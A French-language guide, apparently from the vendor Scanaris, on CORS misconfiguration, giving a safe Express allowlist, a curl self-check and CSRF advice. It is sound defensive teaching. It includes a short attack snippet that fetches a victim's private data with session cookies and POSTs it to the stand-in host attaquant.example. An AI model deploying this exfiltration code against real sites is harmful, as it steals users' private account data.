Tu construis ton app, le navigateur te balance une erreur rouge de CORS, tu cherches sur un forum ou tu demandes à l'IA et tu copies la solution qui promet que tout va marcher. C'est en général la pire possible. Ce guide explique ce qu'est vraiment CORS, ce qu'il protège et ce qu'il ne protège pas, l'erreur exacte qui laisse les données de tes utilisateurs à portée de n'importe quel site, comment le configurer correctement avec du code et comment le vérifier depuis l'extérieur.
Ce qu'est CORS en réalité
Par défaut, le navigateur ne laisse pas une page sur site-a.com lire la réponse d'une API sur site-b.com. C'est la politique de même origine, et une origine est la combinaison du protocole, du domaine et du port : https://app.exemple.com et https://api.exemple.com sont des origines différentes. Cette politique protège tes utilisateurs : elle empêche un onglet malveillant de lire des données d'un autre site où ils sont connectés.
CORS (Cross-Origin Resource Sharing) est le mécanisme par lequel ton serveur assouplit cette règle volontairement : avec l'en-tête Access-Control-Allow-Origin, il dit au navigateur « cette origine précise peut lire la réponse ». Pour les requêtes qui ne sont pas simples (un PUT, un corps JSON, un en-tête Authorization), le navigateur envoie d'abord une requête OPTIONS de vérification, le preflight, et ne continue que si la réponse l'autorise.
Ce que CORS ne protège pas
Autant être clair avant de le configurer. CORS est une règle que suivent les navigateurs, pas un contrôle d'accès de ton API. Un attaquant avec curl, un script sur un serveur ou une app mobile ne sont pas soumis à CORS : ils voient tout ce que ton API renvoie sans session. Si un endpoint livre des données sans vérifier qui demande, CORS ne corrige rien ; c'est l'authentification qui corrige ça. CORS protège une chose très précise : qu'un autre site n'utilise pas le navigateur de ton utilisateur, avec ses cookies, pour lire des données privées en son nom.
L'erreur qui casse tout
Le schéma dangereux consiste à refléter n'importe quelle origine qui arrive et, en plus, à autoriser les identifiants :
Access-Control-Allow-Originavec la valeur de l'origine qui demande, quelle qu'elle soit (reflet dynamique), etAccess-Control-Allow-Credentials: true.
Avec cette combinaison, n'importe quel site que visite ton utilisateur peut appeler ton API avec les cookies de session de l'utilisateur et lire la réponse. L'attaque tient en trois lignes sur la page de l'attaquant :
fetch('https://api.tondomaine.com/me', { credentials: 'include' })
.then(r => r.json())
.then(donnees => fetch('https://attaquant.example/collecte', { method: 'POST', body: JSON.stringify(donnees) }))
L'utilisateur ne voit rien : il a juste ouvert une page. Le joker * est moins grave parce que le navigateur refuse de le combiner avec des identifiants, mais il n'a pas sa place non plus sur une API avec des données privées.
Les façons dont cette erreur arrive dans le code sont souvent innocentes : dans Express, cors({ origin: true, credentials: true }) reflète n'importe quelle origine ; une expression régulière négligée comme /tondomaine.com$/ accepte evil-tondomaine.com ; une liste qui inclut null autorise les pages ouvertes depuis des fichiers locaux et les iframes isolés ; et « tout autoriser en développement » finit déployé en production.
Comment le configurer correctement
Pense défense, pas confort. Garde une liste fermée d'origines, compare-la exactement et renvoie l'en-tête seulement en cas de correspondance. Dans Express :
const ALLOWED = new Set([
'https://app.tondomaine.com',
'https://tondomaine.com',
])
app.use((req, res, next) => {
const origin = req.headers.origin
if (origin && ALLOWED.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin)
res.setHeader('Vary', 'Origin')
res.setHeader('Access-Control-Allow-Credentials', 'true')
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS')
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization')
res.setHeader('Access-Control-Max-Age', '600')
}
if (req.method === 'OPTIONS') return res.sendStatus(204)
next()
})
Quatre détails qui comptent. Vary: Origin empêche un CDN de mettre en cache la réponse pour une origine et de la servir à une autre. Allow-Credentials seulement si tu utilises vraiment des cookies entre origines ; si ton API et ton app vivent sur le même domaine, tu n'as même pas besoin de CORS. Limite les méthodes et les en-têtes à ce que tu utilises. Et réponds au OPTIONS par un 204 sans exécuter de logique métier.
Dans Next.js, le même code vit dans un middleware ou dans chaque route handler ; dans Nuxt, dans routeRules ou un middleware serveur. Si tu utilises Supabase ou Firebase directement depuis le navigateur, ce sont eux qui gèrent CORS et la vraie barrière, ce sont les règles de la base de données, pas cet en-tête.
Les API publiques peuvent utiliser le joker
Si ton API sert des données vraiment publiques (une liste de prix, un catalogue) et n'utilise pas de cookies, Access-Control-Allow-Origin: * est légitime et simplifie la vie de ceux qui la consomment. La règle, c'est de ne jamais mélanger le joker, ni le reflet, avec des données qui dépendent de la session de l'utilisateur.
Pourquoi c'est difficile à repérer
Cette faille est silencieuse : tout fonctionne, il n'y a pas d'erreur visible et l'app a l'air saine. On ne s'en aperçoit que quand quelqu'un en abuse, et même là, elle ne laisse pas de trace évidente dans tes logs, parce que les requêtes arrivent avec une session valide. C'est pourquoi il faut vérifier explicitement la configuration CORS à chaque déploiement, au lieu de se fier au fait que « puisqu'il n'y a pas d'erreur, ça va ».
Comment le vérifier toi-même
Demande un endpoint privé de ton API en faisant semblant de venir d'un autre site et regarde les en-têtes qui reviennent :
curl -s -I -H "Origin: https://evil.example" https://api.tondomaine.com/me | grep -i access-control
Si la réponse renvoie Access-Control-Allow-Origin: https://evil.example avec Access-Control-Allow-Credentials: true, tu as le problème. Si elle ne renvoie aucun en-tête CORS pour une origine inconnue, c'est bon. Répète avec Origin: null et avec un sous-domaine inventé de ton propre domaine.
CORS ne remplace pas la protection contre le CSRF
Un attaquant n'a pas besoin de lire la réponse pour nuire : il suffit que la requête s'exécute (un POST qui change l'email du compte, par exemple). C'est ce qu'empêchent les cookies avec SameSite=Lax ou Strict et, pour les formulaires sensibles, un token anti-CSRF. CORS et SameSite sont deux couches distinctes ; il faut les deux.
Vérifie ton CORS avec Scanaris
Scanaris vérifie, en lecture seule, comment ton site répond aux requêtes venant d'origines inconnues : s'il reflète l'origine, s'il autorise les identifiants et s'il combine le joker avec des cookies. Il ne lance aucune attaque et ne touche pas à tes données : il observe seulement la réponse publique, comme la commande ci-dessus. S'il trouve une configuration dangereuse, il te donne un fix prompt pour que ton IA la réécrive avec une liste fermée. C'est l'une des vérifications de la checklist de lancement ; les autres pièces, en-têtes compris, sont dans le guide des en-têtes de sécurité.
Questions fréquentes
Pourquoi j'ai une erreur CORS en local mais pas en production ?
Parce qu'en local le frontend tourne sur localhost:3000 et l'API sur un autre port : des origines différentes. En production, ils partagent en général un domaine. Ajoute l'origine de développement à la liste seulement dans l'environnement de développement ; ne reflète jamais tout pour « faire disparaître l'erreur ».
Puis-je mettre plusieurs origines dans Access-Control-Allow-Origin ?
Non, l'en-tête n'accepte qu'une seule valeur. C'est pour ça qu'on compare l'origine entrante à la liste et qu'on ne renvoie que celle-là, avec Vary: Origin.
Un navigateur mobile ou une extension peuvent-ils contourner CORS ?
Les apps natives et les scripts serveur ne sont pas soumis à CORS ; les extensions ont leurs propres permissions. CORS protège l'utilisateur dans son navigateur normal, là où se trouvent ses cookies. Le reste, c'est l'authentification de ton API qui le protège.